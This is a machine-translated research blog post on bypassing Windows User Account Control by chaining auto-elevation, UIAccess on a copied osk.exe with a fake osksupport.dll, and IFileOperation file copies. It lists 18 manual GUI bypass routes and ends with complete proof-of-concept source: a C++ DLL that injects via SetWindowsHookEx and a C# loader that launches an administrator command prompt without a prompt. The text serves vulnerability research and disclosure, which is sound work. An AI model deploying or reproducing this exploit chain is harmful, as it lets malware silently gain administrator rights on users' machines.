📜 ⬆️ ⬇️

UAC Bypass or the story of three escalations

At work, I investigate the security of the OS or programs. Below I will talk about one of these studies, which resulted in a fully functional exploit of the UAC bypass type (yes, with source-code and gifs).


Oh, yes, Microsoft said they pretended that they were not interested.
Alarm! Under the cut about 4 megabytes of traffic - pictures and gifs.

Story


GUI UAC bypass


There are probably many ways to find a vulnerability. One of the simplest is to replay an already existing attack, choosing a different target. So I decided to put the experience - through the file selection menu (for saving or opening) to launch some application.


Gifka shows how such an attack looked in Windows 98. An attacker with cunning manipulation calls the window for opening a file and starts explorer through it.
')
First, we will conduct a simple test to see what happens - we launch a notebook. Select the menu item "Open", and in the window that appears, go to the folder C: \ Windows \ system32 \. Only txt files and folders are displayed in the window. This is easy to correct - it is enough to write *. * Instead of the file name and all files will be displayed (in the case of a notepad, it is easier to choose the “All files” filter, but such a filter will not always be available, and asterisks will always work). Find notepad.exe and run it through the context menu.


Process Explorer shows the expected picture:


One process started the other. Most often, with such inheritance, the child process has the same level of privileges as the parent. So, if we want to start a process with high privileges, then we need to use a process that already has these privileges.


Then I remembered the applications with automatically lifted privileges. We are talking about programs that have elevated privileges in the manifest without a UAC request (the autoElevate element). For the first experiment, I chose the long-suffering eventwvr.exe (it has already appeared a couple of times around UAC).

Everything turned out to be very simple, in the “Action” menu there is an item “Open saved log ...” - this item displays a window for opening a file, which we want to receive.


After launch, we will see this situation:


We started the console with administrator rights without the appearance of the UAC window.

This type of vulnerability is called UAC bypass (bypassing the UAC request). It is important to note a significant limitation - automatic elevation works only if the user is in the group of administrators. Therefore, using such a vulnerability can not elevate rights from the user level. But still, the vulnerability is quite dangerous - a lot of Windows users use an administrator account for everyday work. The malicious program launched by the user of such an account will receive administrative privileges first without external manifestations, and then, if she needs it, she can receive at least NT AUTHORITY \ SYSTEM. With admin privileges it is very easy.

There is an excellent project on githaba https://github.com/hfiref0x/UACME , where probably all openly available vulnerabilities of this kind are collected, indicating which version of Windows the vulnerability started to work with, and in which it was corrected, if corrected .

I am not the first to think about the vulnerability of such a plan. Below I attach two animated images that visually show the UAC bypass in two more ways.



Files are taken from the article msitpros.com/?p=3692 .

I walked through different applications and below I attach another 18 ways to implement this workaround.

18 more ways to manually bypass UAC
Attention! It is possible that in different versions and editions some applications will not have automatic elevation of privileges - their list changes periodically.

In addition, if you have a printer installed, then with high probability in the windows related to printing you will find many additional ways to bring up the file selection window.

cliconfg.exe
1) Help button, in the help window that appears, call the context menu in the workspace, select View HTML-code, in the Notepad window that appears, select the Open item in the File menu.
2) Help button, in the help window that appears, call the context menu in the workspace, select Print, in the Find Printer ... window that appears, select the File menu, Save Search Conditions in the search window.

compMgmtLauncher.exe
3) The "Action" menu, the item "Export List ...".
4) The “Help” menu, the “Help” item, in the help window that appears, call the context menu in the workspace, select “View HTML-code”, in the Notepad window that appears, select “File” in the menu, “Open”.
5) The Help menu, the Help Help item, in the help window that appears, call the context menu in the workspace, select Print, in the Find Printer ... window that appears, select the File menu, search item in the search window search terms.

dcomcnfg.exe
6) In the list on the left, select "Services (local)", select the item "Export list ..." in the context menu.

eudcedit.exe
7) After the start, the program will offer to choose a code. Choose any and click OK; In the "File" menu, select the item "Fonts Connections ...", in the window that appears, check "Set connection with the selected fonts", this unlocks the "Save As ..." button.

eventvwr.exe
8) The "Action" menu, the item "Open Saved Log ...".
9) The “Help” menu, the “Help” item, in the help window that appears, call the context menu in the workspace, select “View HTML-code”, in the Notepad window that appears, select “File” in the menu, “Open”.
10) Help menu, “Help call” item, in the help window that appears, call the context menu in the workspace, select “Print”, in the “Find printer ...” window that appears, select the File menu, search item in the search window search terms.

netplwiz.exe
11) Select the Advanced tab, in the Advanced User Management group, click the Advanced button. The lusrmgr.msc snap-in will be launched. Action menu, item “Export list ...”.

odbcad32.exe
12) Help button, in the help window that appears, call the context menu in the workspace, select View HTML-code, in the Notepad window that appears, select the Open item in the File menu.
13) Help button, in the help window that appears, call the context menu in the workspace, select Print, in the Find Printer ... window that appears, select the File menu, Save Search Conditions in the search window.
14) Select the "Tracing" tab, the "Equip ..." button
15) Select the "Tracing" tab, the "Select DLL ..." button

perfmon.exe
16) In the list on the left, select the Reports group, in it Special, in the context menu select the item Export List ....
17) “Help” menu, “Help call” item, in the help window that appears, call the context menu in the workspace, select “View HTML-code”, in the appeared Notebook window select “File”, “Open” item in the menu.
18) “Help” menu, “Help call” item, in the help window that appears, call the context menu in the workspace, select “Print”, in the “Find printer ...” window that appears, select the File menu, search item in the search window search terms.

Although we received an administrator console with administrator rights, it is difficult to call it a vulnerability or exploit - we need conscious user actions. In order for this vulnerability to be considered practical, not theoretical, it is necessary to automate actions.

UIPI bypass


Automation? Yes Easy! We take AutoIt and quickly rivet the application that emulates pressing the keyboard.


Directly prepared description for a thread attack BadUSB-Keyboard type Teensy or Rubber Ducky. Everything is fine, but not working. Or rather, it works, but not always - only if we run the script with administrator rights. But if we run the script with administrator rights, what kind of exploit is this?

Everything turns out to be quite simple - Microsoft uses technology UIPI ( User Interface Privilege Isolation ). In short, many interface interactions are blocked, if the initiator Integrity Level (IL) is lower than the target application. Processes with administrator privileges have High IL and higher, and an application launched by a user without elevating privileges has Medium IL. You can not send most messages, emulate a mouse, keyboard.

How to bypass UIPI? Microsoft indicates that there is another interesting parameter that can be specified in the manifest - UIAccess. When a number of harsh conditions are met, the application will be able to interact with the interface of other programs. Actually, the conditions themselves:

  1. UIAccess = "true" in the manifest.
  2. The program must be signed and the signing certificate must be perceived by the computer as trusted.
  3. The program must be located in the "safe" folder or deeper. Safe folders are understood as C: \ Windows folder (with some exceptions), C: \ Program Files, C: \ Program Files (x86).

Search for files that are already suitable for these conditions, shows, for example, the application C: \ Windows \ system32 \ osk.exe. This application is an on-screen keyboard - it is logical that it should have access to the program interface and not require administrator privileges, since it can be started by a regular user. Looking at Process Explorer on the process, it becomes clear how it works. With UIAccess = “true”, another automatic escalation occurs — the IL of the application is raised. Osk.exe starts with High IL, but without administrator rights. Quite an interesting situation.


There is an idea to try to copy Osk.exe somewhere, where it will still be considered to be located along the “safe” path. Then we can control this application, but still meet the conditions for circumventing the UIPI.

I wrote a simple search engine in the directories C: \ Windows, C: \ Program Files, C: \ Program Files (x86), which would look for places where you can copy without administrator rights. Surprisingly, there were a lot of such directories. Unfortunately, most of them are either included in the C: \ Windows exceptions, or are directories to which you can write, but from where applications cannot be started. And still, there were two suitable folders:


On the one hand, this is good - there is something to check, but on the other - everything is not so rosy.
The minidump folder appears if the OS has fallen into the blue screen of death. If the blue screens have bypassed the user, then there is no directory. Moreover, initially there is no access to this directory. You need to go at least once to the administrator and only after that it becomes available. In general, not our option.

But the second folder is better - except for the fact that it appears when you install Microsoft Visual Studio (2017 in this case, other studios will have different numbers instead of 130, for example, 120 for MSVS 2015).

Copy osk.exe to the folder C: \ Program Files \ Microsoft SQL Server \ 130 \ Shared \ ErrorDumps. See the application import table. Among the libraries in the import, I chose osksupport.dll - a library that exports only 2 functions, so you can quickly make a fake one.


We collect dll and we copy on the same way - there will be a dll-injection. We start, we check - the copied osk.exe is started with High IL, the code from the dll is executed.

We add automation of keystrokes in a dll (not AutoIt anymore, but quickly everything that has been thrown onto the plus keybd_event code). Make sure everything works. Now we are almost ready to exploit. It is necessary to conduct a clean test.

A virtual machine is prepared where only Visual Studio is installed and a simple program is written - it copies osk.exe and the library with the payload. Everything works fine. We launch the binary file and after a moment the automation magic is created on the screen.

This can already be called an exploit - after all, a program without user intervention bypasses UAC. The user, of course, sees all this, but it doesn't matter - these are trifles.

This was the first version of the exploit - two escalations (autoElevate and UIAccess), but the user sees that something is wrong.

I went to re-read Windows Internals of Russinovich in those chapters where UIAccess and UIPI are mentioned. Suddenly, it was written in Russian and white that UIPI prevents the use of SetWindowsHookEx . But I just bypassed UIPI, which means I could use this function - it became even better! I was able to inject the code, instead of sending the keyboard taps. Here is the second version of the exploit - the same escalations, but now without noticeable actions on the screen. Almost immediately after the launch of the exploit, the privileged console was launched.

Directory bypass


At this stage, I wrote a letter describing the vulnerability, the exploit code, and a step-by-step explanation at Microsoft. The support reaction was a little surprised - they asked: “It turns out that you need administrator rights to launch your exploit?”. Attempting to explain that this is not an escalation of privileges from the user to the administrator, but a bypass of UAC, was not crowned with success.

The last thing that could be improved was to remove the requirement of the writeable directory. To begin, I decided to try the old way with WUSA.

Brief description of copying files using WUSA
Wusa.exe is another application with automatic elevation of privileges. You can run this application by specifying the cab-archive file and the / extract option. WUSA will unpack the file from the archive at the specified path. Cab-archive can be done using the standard makecab utility.

At first I tried to "unpack" an arbitrary file in C: \ windows \ system32. Got an access denied error. Logically, I read a long time ago that it seems that this method was removed. But just in case, I decided to check with the path in Program Files. The utility worked, the file was copied. Now it smelled fried - the need for a folder with rights to write to the Program Files gradually disappeared.

But I decided to give up the method with WUSA. In Windows 10 (10147), the / extract option was removed from the application. Nevertheless, I was not discouraged. Using the example of WUSA, I realized that not always C: \ Windows protection means C: \ Program Files protection. In addition to WUSA, there was also a way to copy files without prompting for UAC — the IFileOperation interface.

IFileOperation
A process with Medium IL and running from a safe place (approximately the same as in UIAccess) can use the IFileOperation interface with automatic elevation.

Then it was easy. I wrote code using this method (here it is, the third automatic escalation), and it worked fine. For reliability, I took a clean virtual machine with the maximum number of installed updates of the latest version of Windows 10 (RS2, 15063). This was especially important because RS2 just fixed part of the UAC rounds. And my whole chain worked fine on this version. This is the third version of the exploit, with 3 escalations, without any special requirements.

Technical description


Efficiency exploit tested on Windows 8, Windows 8.1 and Windows 10 (RS2, 15063) - the technique works. With a probability of 99% will work in younger versions, starting with Windows Vista, but it will require editing (another name and export table for dll in steps 2 and 3). The UAC settings must be set by default, and the user, from which the initiating program starts, must be a member of the PC Administrators group.

Step 1. The program starts without requesting privileges. IL program Medium, which allows you to inject code into the explorer.exe process (for example, via SetWindowsHookEx).

Step 2. Code running in the context of explorer.exe initiates a file copy operation via IFileOperation. The first automatic escalation of privileges occurs - explorer.exe is considered a trusted process, so it is allowed to copy files to Program Files without asking for confirmation from UAC. The system osk.exe file originally located in C: \ Windows \ system32 \ osk.exe is copied to any folder in Program Files. Next library is copied with the payload under the name osksupport.dll.

Step 3. Run the newly copied osk.exe. Since all the requirements for the provision of UIAccess are fulfilled, the file has a High IL - the second automatic escalation of privileges occurs (only the IL is raised, but there are still no administrator rights). Immediately after the start, a Dll injection is triggered, and in the context of this process, the code from osksupport.dll is executed. The payload of this library is waiting for a privileged process to start injecting code into it.

Step 4. Run any process that automatically rises to the rights of the administrator (for example, the long-suffering eventvwr.exe, this is the third escalation). It is an injection code. At the moment the code will be executed with administrator privileges.

Proof of concept


PoC consists of two parts - dll (written in c ++) and exe (written in c #). First you need to collect the dll and connect this library as a resource for the application code. Be sure to pay attention to the comments in the code.

Dll
#include <stdio.h> #include <Shobjidl.h> #include <windows.h> #pragma comment(lib, "Ole32.lib") #pragma comment(lib, "shell32.lib") void WINAPI InitializeOSKSupport() {}; // this function must be exported! void WINAPI UninitializeOSKSupport() {}; // this function must be exported! int WINAPI hook(int code, WPARAM wParam, LPARAM lParam) { return (CallNextHookEx(NULL, code, wParam, lParam)); }; HINSTANCE hinstance; void CopyFile(LPCWSTR pszSrcItem, LPCWSTR pszNewName, LPCWSTR pszDest) { IFileOperation *pfo; IShellItem *psiFrom = NULL; IShellItem *psiTo = NULL; HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); if (SUCCEEDED(hr)) { OutputDebugString(L"[OSK_DLL_PWN] CoInitializeEx"); hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo)); if (SUCCEEDED(hr)) { OutputDebugString(L"[OSK_DLL_PWN] CoCreateInstance"); hr = pfo->SetOperationFlags(FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION | FOF_NOERRORUI); if (SUCCEEDED(hr)) { OutputDebugString(L"[OSK_DLL_PWN] SetOperationFlags"); hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom)); if (SUCCEEDED(hr)) { OutputDebugString(L"[OSK_DLL_PWN] SHCreateItemFromParsingName"); if (NULL != pszDest) { hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo)); } if (SUCCEEDED(hr)) { OutputDebugString(L"[OSK_DLL_PWN] SHCreateItemFromParsingName 2"); hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL); } } if (SUCCEEDED(hr)) { hr = pfo->PerformOperations(); WCHAR buff[100] = { 0 }; wsprintf(buff, L"[OSK_DLL_PWN] PerformOperations = %d %.8x", hr, hr); OutputDebugString(buff); } } pfo->Release(); } CoUninitialize(); } } DWORD WINAPI explorerThread(LPVOID) { CopyFile(L"C:\\windows\\system32\\osk.exe", L"osk.exe", L"C:\\Program Files\\Windows Media Player"); WCHAR pathDll[1000] = { 0 }; GetModuleFileName(hinstance, pathDll, 1000); OutputDebugString(pathDll); CopyFile(pathDll, L"osksupport.dll", L"C:\\Program Files\\Windows Media Player"); return 0; } void Payload() { OutputDebugString(L"[OSK_DLL_PWN] Payload!"); WCHAR pathApp[1000] = { 0 }; GetModuleFileName(NULL, pathApp, 1000); OutputDebugString(pathApp); wcsupr(pathApp); if (wcsstr(pathApp, L"OSK.EXE")) { OutputDebugString(L"[OSK_DLL_PWN] Inside osk.exe"); HOOKPROC addr = (HOOKPROC)GetProcAddress(hinstance, "hook"); SetWindowsHookEx(WH_CALLWNDPROC, addr, hinstance, 0); Sleep(5000); TerminateProcess(GetCurrentProcess(), 0); } if (wcsstr(pathApp, L"UACBYPASS.EXE")) // here must be name of exe-part { OutputDebugString(L"[OSK_DLL_PWN] Inside uacbypass.exe"); HOOKPROC addr = (HOOKPROC)GetProcAddress(hinstance, "hook"); SetWindowsHookEx(WH_CALLWNDPROC, addr, hinstance, 0); } if (wcsstr(pathApp, L"MMC.EXE")) { OutputDebugString(L"[OSK_DLL_PWN] Inside mmc.exe"); STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); WCHAR path[100] = L"C:\\windows\\system32\\cmd.exe"; if (!CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { OutputDebugString(L"[OSK_DLL_PWN] Spawn cmd failed"); } TerminateProcess(GetCurrentProcess(), 0); } if (wcsstr(pathApp, L"EXPLORER.EXE")) { OutputDebugString(L"[OSK_DLL_PWN] Inside explorer.exe"); DWORD dw= 0; CreateThread(NULL, NULL, explorerThread, NULL, 0, &dw); } } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: hinstance = hModule; Payload(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 


Exe
 using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Threading; using UACBypass.Properties; namespace UACBypass { class Program { static void Main(string[] args) { Console.WriteLine("Extract payload-dll"); File.WriteAllBytes("Payload.dll", Resources.oskDllPwn); // dll resource here Console.WriteLine("Exec payload-dll"); LoadLibrary("Payload.dll"); Console.WriteLine("Wait for apply 5s..."); Thread.Sleep(5000); Console.WriteLine("Start elevator"); Process.Start("C:\\Program Files\\Windows Media Player\\osk.exe"); Thread.Sleep(500); Console.WriteLine("Start target app"); Process.Start(@"C:\Windows\system32\eventvwr.exe"); } [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName); } } 


A ready-to-use binary file is not deliberately laid out. No less consciously the source code is not laid out on the githab.

I would like to draw particular attention of readers to the fact that this article does not describe the vulnerability in some applications. Osk.exe and eventvwr.exe are just an example here, I could take another pair of about 150 options (5 options for osk × 30 options for eventvwr). It seems to me that the mechanism of elevating privileges and UAC is “broken”. What do you think?

Other blog articles


→ Report of the Information Security Monitoring Center for the first quarter of 2017
My cool colleagues in real time monitor the attacks and immediately prevent them.
→ Life without SDL. Winter 2017
While developers everywhere do not use SDL, I will always have a job.

Source: https://habr.com/ru/post/328008/


All Articles